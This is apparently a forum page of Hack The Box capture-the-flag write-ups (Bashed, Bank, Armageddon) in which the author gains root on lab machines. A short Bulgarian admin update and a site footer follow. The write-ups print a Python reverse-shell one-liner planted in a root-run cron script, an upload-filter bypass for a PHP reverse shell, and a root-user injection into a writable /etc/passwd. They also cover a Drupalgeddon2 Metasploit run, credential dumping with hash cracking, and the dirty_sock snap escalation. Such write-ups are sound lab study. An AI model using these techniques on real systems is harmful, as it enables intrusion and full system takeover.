/home/scriptmanager/.bashrc /home/scriptmanager/.selected_editor /home/scriptmanager/.bash_history /home/scriptmanager/.bash_logout It appears it owns something within /scripts/test.py scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close It opens test.txt and writes a string into it, hmm. Who owns test.txt? scriptmanager@bashed:/scripts$ ll total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Apr 8 03:19 ./ drwxr-xr-x 23 root root 4096 Dec 4 2017 ../ -rw-r--r-- 1 scriptmanager scriptmanager 282 Apr 8 03:19 test.py -rw-r--r-- 1 root root 12 Apr 8 03:03 test.txt So, if it is executed by cron, test.py runs as root since it opens test.txt which is owned by root. Let's add sauce: [python reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) scriptmanager@bashed:/scripts$ cat test.py f = open("test.txt", "w") f.write("change 123!") python -c 'import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.6",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) f.close It writes out the ### pwn # nc -lnvp 1337 listening on \[any\] 1337 ... connect to \[10.10.14.24\] from (UNKNOWN) \[10.10.10.68\] 50176 /bin/sh: 0: can’t access tty; job control turned off # whoami root # cat /root/root.txt
  22. h3xu

    Bank

    # Enumeration ### NMAP The nmap scan reveals port 53, 80 and 22 open so we could assume that there is an http web application, DNS and ssh services. Let's enumerate the DNS and check out the findings in our browser. Host is up (0.047s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA) | 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA) | 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA) |_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519) 53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ### [DNS Enumeration](https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3) # dig axfr @10.10.10.29 bank.htb ; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.29 bank.htb ; (1 server found) ;; global options: +cmd bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800 bank.htb. 604800 IN NS ns.bank.htb. bank.htb. 604800 IN A 10.10.10.29 ns.bank.htb. 604800 IN A 10.10.10.29 www.bank.htb. 604800 IN CNAME bank.htb. bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800 ;; Query time: 47 msec ;; SERVER: 10.10.10.29#53(10.10.10.29) ;; WHEN: Tue May 11 03:28:16 EDT 2021 ;; XFR size: 6 records (messages 1, bytes 171) # Web App Enumeration #### /etc/hosts Add the IP address to our known hosts file in /etc/hosts as: 10.10.10.29 bank.htb chris.bank.htb ns.bank.htb #### chris.bank.htb bank.htb ns.bank.htb #### Dirbuster A couple of interesting directories were found for http://bank.htb including not present in the picture /balance-transfer/ directory. *user* and *ticket* files does not return anything but footer on the other hand: #### /balance-transfer/ Balance transfer is directory which contains a bunch of encrypted accounts. While scrolling through the directory, looking for something out of the ordinary, I found a file that is 50% smaller than the rest of the files. When opened, It seems that encryption failed since it is in plain text: --ERR ENCRYPT FAILED +=================+ | HTB Bank Report | +=================+ ===UserAccount=== Full Name: Christos Christopoulos Email: [email protected] Password: !##HTBB4nkP4ssw0rd!## CreditCards: 5 Transactions: 39 Balance: 8842803 . ===UserAccount=== # Exploit I have logged in to the given account and discovered a Support page which provides file upload functionality which reveals a possible attack surface. ## LFI The file upload has restrictions in place that prevent me from uploading anything other than images. Let's bypass that with burp suite. #### Burp Suite After configuring our *php-reverse-shell.php* from pentestmonkey, we try to upload it into the file upload form while having *intercept on*. After we capture the POST request, we send it to Repeater in order to debunk the restrictions in place. And voila... ## Shell Open a nc listener that will intercept the reverse call and execute the file. $ curl "http://bank.htb/uploads/php-reverse-shell.php.jpeg" |php % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5492 100 5492 0 0 53843 0 --:--:-- --:--:-- --:--:-- 53843 PHP Notice: Undefined variable: daemon in Standard input code on line 184 Successfully opened reverse shell to 10.10.14.3:1234 ***yikes***, I just hacked myself 😄 Anyway... let's try to forget about that and figure out my next move. I read in the source code that the developer added an exception for the ***htb*** extension for debugging purposes and that files with such extension will be executed as php. So I have uploaded the reverse shell as an htb and just opened it which returned a shell. # nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.3] from (UNKNOWN) [10.10.10.29] 58982 Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux 12:37:52 up 2:18, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ # Privilege EscalationWe are logged as www-data. In order to figure out our attack surface, I will run a script called unix-privesc-check. In the following lines, I am going to folder /tmp because it is writeable directory and download the file from my local kali system. ┌──(kali㉿kali)-[~/bank] └─$ sudo cp /usr/share/unix-privesc-check/unix-privesc-check . ┌──(kali㉿kali)-[~/bank] └─$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.10.29 - - [11/May/2021 05:40:44] "GET /unix-privesc-check HTTP/1.1" 200 - 10.10.10.29 - - [11/May/2021 05:41:21] "GET /unix-privesc-check HTTP/1.1" 200 - $ cd tmp $ touch file $ ls file vmware-root $ wget http://10.10.14.3:8000/unix-privesc-check --2021-05-11 12:45:15-- http://10.10.14.3:8000/unix-privesc-check Connecting to 10.10.14.3:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 36801 (36K) [application/octet-stream] Saving to: 'unix-privesc-check' 0K .......... .......... .......... ..... 100% 654K=0.05s 2021-05-11 12:45:16 (654 KB/s) - 'unix-privesc-check' saved [36801/36801] $ Let's upgrade out session to be more intuitive and responsive. $ python -c 'import pty;pty.spawn("/bin/bash")' www-data@bank:/tmp$ export TERM=xterm export TERM=xterm www-data@bank:/tmp$ ^Z zsh: suspended nc -nlvp 1234 ┌──(root💀kali)-[/home/kali/bank] └─# stty raw -echo;fg 148 ⨯ 1 ⚙ [1] + continued nc -nlvp 1234 Now I have tab-completion and all keys register as normal. www-data@bank:/tmp$ chmod +x unix-privesc-check www-data@bank:/tmp$ ./unix-privesc-check standard ...[snip]... ############################################ Checking if anyone except root can change /etc/passwd WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd Ok, so we have a writeable /etc/passwd file. Let's add a privileged user and escalate. Firstly, create a password: $ openssl passwd -1 -salt hacker hacker $1$hacker$TzyKlv0/R/c28R.GAeLw.1 Next, add the user as follows: www-data@bank:/$ nano /etc/passwd ################################# add the user in the document like so: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash ################################# www-data@bank:/$ su hacker Password: root@bank:/# whoami root root@bank:/#
  23. Enumeration Service Scan The service scan reveals two open ports. A web application is running and has interesting directories to check. Additionally, we see Drupal 7 running, which gives us somewhat of a direction. ` # nmap -sC -sV -p-65535 armageddon Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 04:58 EDT Nmap scan report for armageddon (10.10.10.233) Host is up (0.050s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) | 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Welcome to Armageddon | Armageddon Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.82 seconds Droopescan Thought to google dropal scanners and got a tool from github called droopescan. # ./droopescan scan drupal -u http://armageddon [+] Plugins found: profile http://armageddon/modules/profile/ php http://armageddon/modules/php/ image http://armageddon/modules/image/ [+] Themes found: seven http://armageddon/themes/seven/ garland http://armageddon/themes/garland/ [+] Possible version(s): 7.56 [+] Possible interesting urls found: Default changelog file - http://armageddon/CHANGELOG.txt [+] Scan finished (0:01:07.454052 elapsed) Searchsploit Further internet searches on the applicable exploits led me to Drupalgeddon and will try it out in the next stage. $ searchsploit drupal -------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------- --------------------------------- Drupal 4.0 - News Message HTML Injection | php/webapps/21863.txt Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt Drupal 5.21/6.16 - Denial of Service | php/dos/10826.sh Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | php/webapps/11060.txt Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | php/webapps/35150.php Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt Drupal < 7.34 - Denial of Service | php/dos/35415.txt Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) | php/remote/46510.rb Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections | php/webapps/32415.txt Drupal Module CAPTCHA - Security Bypass | php/webapps/35335.html Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Site Scripting | php/webapps/18389.txt Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt Drupal Module CODER 2.5 - Remote Command Execution (Metasploit) | php/webapps/40149.rb Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload | php/webapps/37453.php Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Multiple Vulnerabilities | php/webapps/35072.txt Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | php/webapps/33410.txt -------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Exploit ## metasploit drupalgeddon2 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit [*] Started reverse TCP handler on 10.10.14.6:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target is vulnerable. [*] Sending stage (39282 bytes) to 10.10.10.233 [*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.233:41324) at 2021-06-08 06:09:47 -0400 meterpreter > sysinfo Computer : armageddon.htb OS : Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 Meterpreter : php/linux We have a couple of directories in /var/www/html directory. After traversing the files, I have discovered a config file which contains a password and a username in settings.php within sites/default directory. I have also uploaded some privesc tools such as unix-privesc-check and linenum from meterpreter upload functionality. ls authorize.php cron.php INSTALL.mysql.txt INSTALL.sqlite.txt linenum.sh modules README.txt sites update.php web.config CHANGELOG.txt includes INSTALL.pgsql.txt INSTALL.txt MAINTAINERS.txt out.txt robots.txt themes UPGRADE.txt xmlrpc.php COPYRIGHT.txt index.php install.php LICENSE.txt misc profiles scripts unix-privesc-check cat usersdump.sql <deleted> $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupaluser', 'password' => 'CQHEy@9M*m23gBVj', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), <deleted> Next, I'm using the credentials to login to drupal db and enumerate its tables. Following that, I'm dumping the users table from the database 'drupal'. Finally, I am analysing the dump file and discovered credentials for *brucetherealadmin*. mysql -u drupaluser -p -D drupal -e 'show tables;' <deleted> users <deleted> mysqldump -u drupaluser -p drupal users > usersdump.sql cat usersdump.sql <deleted> (1,'brucetherealadmin','$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt','[email protected]','','','filtered_html',1606998756,1607077194,1607076276,1,'Europe/London','',0,'[email protected]','a:1:{s:7:\"overlay\";i:1;}'), <deleted> Cracking the hash with john was easy and straightforward. john forjohn -w /usr/share/wordlists/rockyou.txt $ cat /home/kali/.john/john.pot $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo Login to the web application with credentials. Remembered there is an ssh service running so I tried logging into it. # ssh [email protected] The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established. ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.233' (ECDSA) to the list of known hosts. [email protected]'s password: Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5 [brucetherealadmin@armageddon ~]$ I have discovered that the binary *snap* does not require password and is owned by root. brucetherealadmin@armageddon ~]$ sudo -l Matching Defaults entries for brucetherealadmin on armageddon: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User brucetherealadmin may run the following commands on armageddon: (root) NOPASSWD: /usr/bin/snap install * A little research on snap gives us GTFO-bins solutions to the problem. 1. Tried https://gtfobins.github.io/gtfobins/snap/ but did not work. 2. A bit additional research reveals https://github.com/initstring/dirty_sock I have followed the steps from '2' and it did not work. It seems the python version is incorrect. So I coppied the source code of the exploit and pasted it into a new file and ran it with the correct python version. Finally, I was able to root the box by installing the snap exploit, which created a user called dirty_sock:dirty_sock which provides us with root access. The box is quite interesting and it's nice to learn something new such as the snap vulnerability and ways to exploit. All in all, pretty fun box.
  24. Привет, хора, Пиша без да увъртам - не сме качвали нищо от 1 месец! Съжалявам, че така се забавихме с контент-а. Имаме 3 готови видеа, които чакат ъплоуд в най-скоро време, други 2 чакат едит. Нарочно не сме качвали контент-а, защото изпитваме временни затруднения с качеството, което искаме да Ви предоставяме. Моля за вашето търпение - правим всичко по силите си. Скоро ще започнем да качваме пак!
  25.  

HACKING.BG Партньори

transparent1.png.c15979e1dc997cdd3a9941e342368a9b.png2.png.3e2592eadc660ecc831f1fdd569e8eb4.pngLogonobackground.thumb.png.546f31037e975b6fd85c69e35f300db6.png600_489534840.png.72981fb02b90f1986dd7ade4d561e6d0.pngcyberclub-logo-text.png.6e9d11752e2eade43d40337d83365e48.png

×
×
  • Създай ново...

Важна информация!

Политика за сигурност и условия на ползване Privacy Policy